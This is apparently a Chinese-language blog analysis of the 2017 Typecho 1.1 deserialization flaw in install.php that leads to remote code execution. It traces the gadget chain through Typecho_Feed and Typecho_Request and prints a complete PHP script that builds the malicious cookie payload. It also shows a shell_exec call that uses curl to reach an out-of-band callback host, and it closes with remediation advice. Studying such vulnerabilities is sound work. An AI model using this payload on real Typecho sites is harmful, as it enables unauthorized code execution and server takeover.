0x00.前言
对2017.10的typecho前台GETSHELL漏洞的分析。
0x01.介绍
漏洞版本对应于Typecho 1.1(15.5.12)
,各个版本typecho下载链接。
严格来说,这并不是一个反序列漏洞,而是一个任意代码执行漏洞。因为虽然它使用了反序列化函数,但是利用点却在对象的实例化以及其后续的一系列的魔术方法中。
0x02.漏洞分析
1.漏洞入口
代码入口在install.php
第230-234行,如下:
1 2 3 4 5 6 7 8
| <?php else : ?> <?php $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); Typecho_Cookie::delete('__typecho_config'); $db = new Typecho_Db($config['adapter'], $config['prefix']); $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE); Typecho_Db::set($db); ?>
|
从以上代码可以看出,重要过程如下:首先调用Typecho_Cookie
类的get()
方法,对其base64解码后进行反序列化。然后初始化Typecho_Db
类,之后调用addServer()
方法。
下面跟进Typecho_Cookie
类(var/Typecho/Cookie.php),找到get()
方法:

在类中,有self::$_prefix = ''
,所以有$key = $key
。首先$value
值为cookie中键key的值或post中key的值,但以上都不存在时为NULL,而当$value是数组时,也会返回NULL,否则返回$value
。
这意味着我们可以控制反序列化的字符串。
然后来看执行到漏洞点需要的条件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) { exit; } if (!empty($_GET) || !empty($_POST)) { if (empty($_SERVER['HTTP_REFERER'])) { exit; } $parts = parse_url($_SERVER['HTTP_REFERER']); if (!empty($parts['port'])) { $parts['host'] = "{$parts['host']}:{$parts['port']}"; } if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) { exit; } } if (isset($_GET['finish'])) : _e('安装失败!'); elseif (!Typecho_Cookie::get('__typecho_config')): ?> php _e('没有安装!'); else : $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); Typecho_Cookie::delete('__typecho_config'); $db = new Typecho_Db($config['adapter'], $config['prefix']); $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE); Typecho_Db::set($db);
|
可以看出,满足条件比较简单。下面寻找可利用点。
2.利用点
反序列化漏洞主要依赖的是魔术方法的调用。在反序列化时会自动调用__wakeup()
魔术方法,全局搜索并没有找到相关函数。
那么反序列后,继续跟进下面代码。
跟进Typecho_Db
类(var/Typecho/Db.php),看被调用的构造方法。

可利用的点出现在第120行,如果用字符串拼接对象,会自动调用__tostring()
魔术方法。
全局搜索__tostring()
函数的定义,寻找是否可继续利用。

从下向上,依次查看代码。
首先是Query.php
(var/Typecho/Db/Query.php),定义位于文件末尾:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public function __toString() { switch ($this->_sqlPreBuild['action']) { case Typecho_Db::SELECT: return $this->_adapter->parseSelect($this->_sqlPreBuild); case Typecho_Db::INSERT: return 'INSERT INTO ' . $this->_sqlPreBuild['table'] . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')' . ' VALUES ' . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')' . $this->_sqlPreBuild['limit']; case Typecho_Db::DELETE: return 'DELETE FROM ' . $this->_sqlPreBuild['table'] . $this->_sqlPreBuild['where']; case Typecho_Db::UPDATE: $columns = array(); if (isset($this->_sqlPreBuild['rows'])) { foreach ($this->_sqlPreBuild['rows'] as $key => $val) { $columns[] = "$key = $val"; } } return 'UPDATE ' . $this->_sqlPreBuild['table'] . ' SET ' . implode(' , ', $columns) . $this->_sqlPreBuild['where']; default: return NULL; } }
|
并不存在可以利用的点。
然后看下一个Config.php
(var/Typecho/Config.php),代码同样处于末尾:

函数返回一个序列化的字符串,同样不能利用。
最后看Feed.php
(var/Typecho/Feed.php)文件,从第223行开始。
从函数定义开始看,发现在定义一些变量,并没有引入什么危险函数。
但是关键出现了,注意看下列代码:
1 2 3 4 5 6 7 8 9
| foreach ($this->_items as $item) { $content .= '<item>' . self::EOL; $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL; $content .= '<link>' . $item['link'] . '</link>' . self::EOL; $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL; $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL; $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL; ...
|
关键在于最后一行代码的$item['author']->screenName
这个代码段。参考php官方文档的魔术方法,在php中,__get()
魔术方法会在读取不可访问属性的值时调用。
所以继续搜索__get()
函数的定义,寻找利用点。


由上至下:
IXR/Client.php:
1 2 3 4
| public function __get($prefix) { return new IXR_Client($this->server, $this->path, $this->port, $this->useragent, $this->prefix . $prefix . '.'); }
|
Typecho/Plugin.php:
1 2 3 4 5
| public function __get($component) { $this->_component = $component; return $this; }
|
Typecho/Request.php:
1 2 3 4
| public function __get($key) { return $this->get($key); }
|
Typecho/Config.php
1 2 3 4
| public function __get($name) { return isset($this->_currentConfig[$name]) ? $this->_currentConfig[$name] : NULL; }
|
Typecho/Date.php
1 2 3 4 5 6 7 8 9 10 11 12 13
| public function __get($name) { switch ($name) { case 'year': return date('Y', $this->timeStamp); case 'month': return date('m', $this->timeStamp); case 'day': return date('d', $this->timeStamp); default: return; } }
|
Widget.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public function __get($name) { if (array_key_exists($name, $this->row)) { return $this->row[$name]; } else { $method = '___' . $name; if (method_exists($this, $method)) { return $this->$method(); } else { $return = $this->pluginHandle()->trigger($plugged)->{$method}($this); if ($plugged) { return $return; } } } return NULL; }
|
Layout.php
1 2 3 4
| public function __get($name) { return isset($this->_attributes[$name]) ? $this->_attributes[$name] : NULL; }
|
看代码可以知道,只有Request.php
(var/Typecho/Request.php)可能存在利用点,跟进去看:

里面存在一个调用的函数_applyFilter()
,跟进去看是否存在利用点。

由代码可知,可以通过回调函数来调用一些危险函数。那么我们是否可以控制危险函数的参数呢,回到刚刚的get()
函数。可以看出,通过switch
语句对$value
进行赋值(事先定义好类内_params
属性),然后将该变量作为参数传递(如果$value
不是数组且长度大于0),我们可以控制危险函数的参数。所以这里存在一个任意代码执行漏洞。
3.思路及payload
首先控制反序列参(unserialize()
),之后利用下面代码实例化对象(new Typecho_Db()
)的构造方法的拼接字符串($adapterName = 'Typecho_Db_Adapter_' . $adapterName;
),从而调用__tostring()
魔术方法,利用这个魔术方法内的属性值加载($item['author']->screenName
)涉及的__get()
魔术方法,以及通过其的实现get()
方法和_applyFilter()
方法调用回调函数,使任意代码执行。
所以首先构造条件,使install.php
的流程走进反序列化unserialize()
处,然后构造反序列化字符串。首先是一个对象,它有__tostring()
魔术方法,即Typecho_Feed()
(Feed.php中),然后这个对象属性中的$item['author']
值为另外一个对象,且有可利用的__get()
魔术方法,即Typecho_Request()
(Request.php中),这个对象的属性值是$this->_params['screenName']
和$this->_filter[0]
,分别是任意代码执行的参数和函数。
payload构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| <?php class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct() { $this->_params['screenName'] = '-1'; $this->_filter[0] = 'phpinfo'; } } class Typecho_Feed { const RSS1 = 'RSS 1.0'; const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; const DATE_RFC822 = 'r'; const DATE_W3CDTF = 'c'; const EOL = "\n"; private $_type = 'RSS 2.0'; private $_items = array(); private $dataFormat; public function __construct() { $this->_version = ''; $this->_type = 'RSS 2.0'; $item['link'] = '1'; $item['title'] = '2'; $item['date'] = 1507720298; $item['author'] = new Typecho_Request(); $item['category'] = array(new Typecho_Request()); $this->_items[0] = $item; } } $payload1 = new Typecho_Feed(); $a = array( 'adapter' => $payload1, 'prefix' => 'typecho_' ); echo base64_encode(serialize($a)); ?>
|
4.后续
这里关于任意执行的代码也有一些说道,上面payload只是以phpinfo()
作为示例。
首先我尝试以assert()
作为payload的危险函数,得到了报错信息:PHP Warning: Cannot call assert() with string argument dynamically
。
问题可以参考这里,原因是我的php版本为7.2,某些动态调用函数已经被禁止。
我又尝试使用eval()
,但是得到了报错:PHP Warning: call_user_func() expects parameter 1 to be a valid callback, function 'eval' not found or invalid function name
。
也就是说,这里的的函数需要为可回调函数。所以eval()
函数不可以运行。在php中,可以通过is_callable
来判断一个函数是否为回调函数,比如:
1 2 3
| <?php echo is_callable("eval") == false; ?>
|
于是我试了几个常用的危险函数,寻找是否可以作为回调函数。
以shell_exec()
为例子,使用ceye
:shell_exec("curl php.jw40mp.ceye.io")
。

所以虽然我这里eval
与assert
都不能用,但是能够执行命令也是极好的。
0x05.漏洞的修复
对于使用者,最直接的方式就是删除install.php
文件与对typecho版本进行升级。
在github上可以看到,作者对漏洞的修补,链接在这里,改动就像作者所说的:
使用更好的方式保护安装文件,不再依赖session。
分析就到这里,over。